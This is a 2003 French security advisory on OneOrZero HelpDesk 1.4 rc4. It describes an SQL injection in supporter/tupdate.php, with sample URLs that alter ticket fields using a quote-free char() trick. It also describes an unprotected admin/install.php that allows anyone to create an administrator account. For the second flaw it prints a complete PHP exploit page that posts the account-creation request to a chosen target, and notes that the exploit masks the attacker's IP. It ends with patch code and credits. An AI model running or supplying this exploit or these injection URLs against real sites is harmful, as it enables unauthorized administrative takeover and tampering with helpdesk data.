OneOrZero HelpDesk 1.4 rc4 Injection SQL et Accès Admin
|
Date de Publication: 2003-05-13
Titre: OneOrZero HelpDesk 1.4 rc4 Injection SQL et Accès Admin
K-Otik ID : 0082
CVE : CAN-2003-0270
Exploitable à distance : Oui
Exploitable en local : Oui
* Description Technique - Exploit *
OneOrZero HelpDesk, est, comme le dit son nom, un helpdesk (litteralement "bureau d'aide"), c'est à dire un endroit où des utilisateurs peuvent poster des questions, et où on devrait leurs y répondre. Il inclut une zone membre et admin.
Pour étudier les deux failles exposées ici, il faut connaître la structure de deux tables, qu'on peut trouver dans le fichier admin/install.php.
La première, $mysql_users_table, la table où sont enregistrés les utilisateurs, est composée de (dans l'ordre, clef primaire en premier):
id int(11),
first_name varchar(60),
last_name varchar(60),
user_name varchar(60),
email varchar(60),
pager_email varchar(255),
password varchar(255),
office varchar(60),
phone varchar(48),
user int(1),
supporter int(1),
admin int(1),
theme varchar(60),
msn varchar(60),
yahoo varchar(60),
icq varchar(60),
lastactive int(60), ,
language varchar(60),
time_offset int(5).
La table $mysql_tickets_table, elle, contenant les questions posées, est composée de (dans l'ordre aussi):
id int(11),
create_date int(60),
groupid int(60),
supporter varchar(48),
supporter_id int(60),
priority varchar(48),
status varchar(48),
user varchar(255),
email varchar(255),
office varchar(48),
phone varchar(48),
category varchar(48),
platform varchar(48),
short varchar(255),
description text,
update_log text,
survey int(1),
lastupdate int(60).
La première faille est une faille d'injection SQL. Elle se trouve dans le fichier supporter/tupdate.php, qui est connecté
à la base de données. Il n'y a pas besoin non plus d'être membre pour y arriver, sauf si l'administrateur en a décidé ansi. On peut y voir les lignes de code suivantes :
--------------------------------------------------------------------------
if($groupid == 'change'){
$sql = "UPDATE $mysql_tickets_table set groupid=$sg where id=$id";
$result = $db->query($sql);
}
--------------------------------------------------------------------------
On peut donc modifier nous-même le groupid de n'importe quel 'ticket' dans la base de données. Mais aussi n'importe quel autre champ de la table $mysql_tickets_table, par exemple pour changer la description, il suffira de taper une url du type :
http://[target]/supporter/tupdate.php?groupid=change&sg=groupid,description='nouvelle%20description'&id=1
Ce qui executera comme requête SQL :
---------------------------------------------------------------------------------------------
UPDATE $mysql_tickets_table set groupid=groupid,description='nouvelle description' where id=1
---------------------------------------------------------------------------------------------
et changera la description du ticket 1. Ce qui est particulierement interessant, c'est qu'on peut ici faire de l'injection sans utiliser les caractères
' ou " (ce qui pose problème avec la configuration par défaut de PHP qui les addslashes), grâce à aux fonctions MySQL comme char(). Par exemple l'url
http://[target]/supporter/tupdate.php?groupid=change&sg=groupid,user=char(97,98,99,100)&id=10
changera l'utilisateur qui a envoyé le ticket 10 en "abcd".
L'autre faille ne se trouve pas partout, elle dépend du webmaster. OneOrZero contient une interface d'installation, dans admin/install.php. Or le fichier ne se supprime pas quand l'installation est finie, et ne vérifie pas, dans la création d'un compte admin, si un compte admin a déjà été créé
lors de l'installation ou pas. On trouve donc dans ce fichier le code suivant :
-------------------------------------------------------------------
[...]
if($step == 2){
echo "<br><br>";
start("Helpdesk Installation", "center");
if($HTTP_POST_VARS['first'] == ''){
showError("first name");
$flag = 1;
}
if($HTTP_POST_VARS['last'] == ''){
showError("last name");
$flag = 1;
}
if($HTTP_POST_VARS['user'] == ''){
showError("user name");
$flag = 1;
}
if($HTTP_POST_VARS['email'] == ''){
showError("email address");
$flag = 1;
}
if($HTTP_POST_VARS['pwd1'] == '' || $HTTP_POST_VARS['pwd2'] == ''){
showError("password");
$flag = 1;
}
if($HTTP_POST_VARS['office'] == ''){
showError("office");
$flag = 1;
}
if (!checkPwd($HTTP_POST_VARS['pwd1'], $HTTP_POST_VARS['pwd2'])){
showError("password");
$flag = 1;
}
if(!validEmail($HTTP_POST_VARS['email'])){
showError("email");
$flag = 1;
}
if($flag == 1){
endit();
exit;
}
[...]
$pwd = md5($HTTP_POST_VARS['pwd1']);
$query = "INSERT IGNORE into $mysql_users_table VALUES(NULL,
'".$HTTP_POST_VARS['first']."', '".$HTTP_POST_VARS['last']."',
'".$HTTP_POST_VARS['user']."', '".$HTTP_POST_VARS['email']."', '',
'".$pwd."', '".$HTTP_POST_VARS['office']."',
'".$HTTP_POST_VARS['phone']."',
1, 1, 1, 'default', null, null, null, 0, 'English', '0')";
$db->query($query);
[...]
--------------------------------------------------------------------
Ce code vérifie d'abord si toutes les informations sont remplies, si l'adresse e-mail est valable, et si le mot de passe est bien confirmé, puis insere dans la table $mysql_users_table le nouvel utilisateur en lui donnant les droits admin. Il est spécifié que les variables doivent venir d'un formulaire POST. Il y a donc plusieurs façon d'utiliser cette faille. La plus pratique est de créer un exploit PHP du style :
--------------------------------------------------------------------
<html>
<head>
<title>OneOrZero</title>
</head>
<body>
<b>
<?
if (!isset($_POST["Submit"])){
?>
<form method="POST" action="<? echo $PHP_SELF; ?>">
Target :<br></b>http://<b> <input type="text" name="target"
value="www.target.com"><br>
Directory/ies : <br><input type="text" name="dir"><br>
Port : <br><input type="text" name="port" value="80"><br>
Password : <br><input type="text" name="password"><br>
UserName : <br><input type="text" name="user"><br>
<br><input type="Submit" name="Submit" value="Create Admin Account">
</form>
<?
}else{
$target = str_replace(Array("http:","/"),"",$target);
$req .=
"step=2&first=admin&last=admin&user=$user&pwd1=$password&pwd2=$password&email=&office=abcd";
$header .= "POST /$dir/admin/install.php HTTP/1.1\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Connection: Close\r\n";
$header .= "Host: $target\r\n";
$header .= 'Content-Length: ' . strlen($req) . "\r\n\r\n";
$fp = fsockopen ($target, $port);
$res = "";
if (!$fp) {
echo "Can't connect to http://$target.";
} else {
fputs ($fp, $header . $req);
while (!feof($fp)) {
$res .= fgets ($fp, 1024);
}
fclose ($fp);
}
if (eregi("Administrator Account Created Successfully.",$res)){
echo "Administrator Account Created Successfully : <a
href='http://$target/$dir/admin/control.php'>Click Here To Log In</a>.
";
}else{
die("Administrator Account Hasn't Been Created.");
}
}
?>
</b>
</body>
</html>
----------------------------------------------------------------------------
Ce qui a en plus comme atout de donner comme ip au serveur victime celui du site sur lequel le fichier se trouve.
* Versions Vulnérables *
OneOrZero HelpDesk 1.4 rc4
* Solution *
Un patch est disponible sur http://www.phpsecure.info.
Dans supporter/tupdate.php, rajouter après les premières inclusions de fichiers, les lignes :
----------------------------------------------------------------------------
foreach ($_REQUEST as $key=>$value) {
if (get_magic_quotes_gpc()==0) {
$value = addslashes($value); // This will reproduce the option
magic_quotes_gpc=1
}
$value = str_replace('(','()',$value);
${$key} = $value;
$_REQUEST[$key] = $value;
if (isset($_POST[$key])) { $_POST[$key] = $value; }
if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; }
if (isset($_FILE[$key])) { $_FILE[$key] = $value; }
if (isset($_GET[$key])) { $_GET[$key] = $value; }
if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value;
}
if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] =
$value;
}
if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value;
}
if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; }
}
-----------------------------------------------------------------------------
Et dans admin/install.php, juste après la ligne :
-------------------
if($step == 2){
-------------------
ajouter :
------------------------------------------------------------------
$sql = "SELECT * FROM $mysql_users_table WHERE id > 0";
$result = $db->query($sql);
$num_rows = $db->num_rows($result);
if ($num_rows > 0){
die("<b>OneOrZero Is Already Installed.</b>");
}
------------------------------------------------------------------
* Crédits *
Faille découverte par frog-m@n et l'équipe de PHPSecure (Mai 2003).
|